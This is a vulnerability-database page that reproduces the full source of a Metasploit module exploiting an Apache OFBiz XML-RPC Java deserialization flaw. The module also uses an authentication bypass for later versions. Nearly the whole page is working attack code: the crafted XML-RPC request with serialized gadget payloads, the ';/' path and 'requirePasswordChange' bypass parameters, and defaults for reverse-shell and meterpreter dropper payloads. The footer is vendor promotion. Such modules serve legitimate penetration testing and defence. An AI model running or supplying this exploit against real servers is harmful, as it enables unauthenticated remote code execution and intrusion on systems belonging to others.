Lucene search
K

Apache OFBiz XML-RPC Java Deserialization

🗓️ 12 Mar 2021 17:41:37Reported by Alvaro Muñoz, wvu <[email protected]>, h00dieType 
metasploit
 metasploit
🔗 www.rapid7.com👁 70 Views

This module exploits a Java deserialization vulnerability in Apache OFBiz's unauthenticated XML-RPC endpoint /webtools/control/xmlrpc for versions prior to 17.12.01 using the ROME gadget chain. Versions up to 18.12.11 are exploitable utilizing an auth bypass CVE-2023-51467 and use the CommonsBeanutils1 gadget chain. Verified working on 18.12.09, 17.12.01, and 15.12. The target can deserialize arbitrary data

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::JavaDeserialization

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache OFBiz XML-RPC Java Deserialization',
        'Description' => %q{
          This module exploits a Java deserialization vulnerability in Apache
          OFBiz's unauthenticated XML-RPC endpoint /webtools/control/xmlrpc for
          versions prior to 17.12.01 using the ROME gadget chain.

          Versions up to 18.12.11 are exploitable utilizing an auth bypass CVE-2023-51467
          and use the CommonsBeanutils1 gadget chain.

          Verified working on 18.12.09, 17.12.01, and 15.12
        },
        'Author' => [
          'Alvaro Muñoz', # Discovery
          'wvu', # Exploit
          'h00die' # cve-2023-49070
        ],
        'References' => [
          ['CVE', '2020-9496'],
          ['CVE', '2023-49070'], # auth bypass update
          ['CVE', '2023-51467'], # auth bypass update
          ['URL', 'https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz'],
          ['URL', 'https://ofbiz.apache.org/release-notes-17.12.04.html'],
          ['URL', 'https://issues.apache.org/jira/browse/OFBIZ-11716'],
          ['URL', 'https://blog.sonicwall.com/en-us/2023/12/sonicwall-discovers-critical-apache-ofbiz-zero-day-authbiz/'] # auth bypass
        ],
        'DisclosureDate' => '2020-07-13', # Vendor release note
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_python_ssl'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'DefaultOptions' => {
                'CMDSTAGER::FLAVOR' => :curl,
                'PAYLOAD' => 'linux/x64/meterpreter_reverse_https'
              }
            }
          ]
        ],
        'DefaultTarget' => 1,
        'DefaultOptions' => {
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      Opt::RPORT(8443),
      OptString.new('TARGETURI', [true, 'Base path', '/']),
    ])
  end

  # attempt to determine the version number. This attempt is flawed on versions
  # < 17. 17+ has the Release on the /webtools/control/xmlrpc page. This page
  # doesn't exist on versions < 17, so we just return back 'pre-17'
  def version_from_login_page
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '/webtools/control/xmlrpc')
    })
    return nil if res.nil?
    return 'pre-17' unless res.code == 200
    # https://rubular.com/r/vputt9uJecevOk
    if res.body =~ %r{Apache OFBiz\.</a> Release\s+(?:release)?([\d.]+)}
      return Regexp.last_match(1).strip
    end

    'unknown'
  end

  def check
    # Send an empty serialized object
    res = send_request_xmlrpc('')

    return CheckCode::Unknown('Target did not respond to check.') unless res

    if res.body.include?('Failed to read result object: null')
      @version = 'pre-17'
      return CheckCode::Vulnerable('Target can deserialize arbitrary data.')
    end

    # newer @versions respond w/o a content length, so just validate the URL returns something that looks like OFBiz
    @version = version_from_login_page

    return CheckCode::Unknown('Target did not respond to check.') if @version.nil?
    return CheckCode::Unknown('Target version could not be determined') if @version == 'unknown'

    return CheckCode::Appears('Apache OFBiz pre version 17 detected') if @version == 'pre-17'
    return CheckCode::Appears("Apache OFBiz version #{@version} detected") if Rex::Version.new(@version) < Rex::Version.new('18.12.11')

    CheckCode::Safe("Apache OFBiz version #{@version} detected, and is unexploitable")
  end

  def exploit
    @version = version_from_login_page if @version.nil?

    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end

  def execute_command(cmd, _opts = {})
    vprint_status("Executing command: #{cmd}")

    if @version == 'pre-17'
      vprint_status('Utilizing ROME deserialization chain')
      res = send_request_xmlrpc(
        # framework/webapp/lib/rome-0.9.jar
        # used with 15.12, but not 18.12 compatible
        generate_java_deserialization_for_command('ROME', 'bash', cmd)
      )
    else
      vprint_status('Utilizing CommonsBeanutils1 deserialization chain')
      res = send_request_xmlrpc(
        # framework/webapp/lib/rome-0.9.jar
        # used with 18.12 compatible, but not 15.12 compatible
        generate_java_deserialization_for_command('CommonsBeanutils1', 'bash', cmd) # works against both
      )
    end

    unless res && res.code == 200
      fail_with(Failure::UnexpectedReply, "Failed to execute command: #{cmd}")
    end

    print_good("Successfully executed command: #{cmd}")
  end

  def send_request_xmlrpc(data)
    # http://xmlrpc.com/
    # https://ws.apache.org/xmlrpc/
    request = {
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/webtools/control/xmlrpc'),
      'ctype' => 'text/xml',
      'data' => <<~XML
        <?xml version="1.0"?>
        <methodCall>
          <methodName>#{rand_text_alphanumeric(8..42)}</methodName>
          <params>
            <param>
              <value>
                <struct>
                  <member>
                    <name>#{rand_text_alphanumeric(8..42)}</name>
                    <value>
                      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">#{Rex::Text.encode_base64(data)}</serializable>
                    </value>
                  </member>
                </struct>
              </value>
            </param>
          </params>
        </methodCall>
      XML
    }

    unless @version == 'pre-17'
      request['uri'] = normalize_uri(target_uri.path, '/webtools/control/xmlrpc;/') # tack on ;/
      request['vars_get'] = {
        'USERNAME' => '',
        'PASSWORD' => rand_text_alphanumeric(1..5),
        'requirePasswordChange' => 'Y' # magic bypass string
      }
    end

    send_request_cgi(request)
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation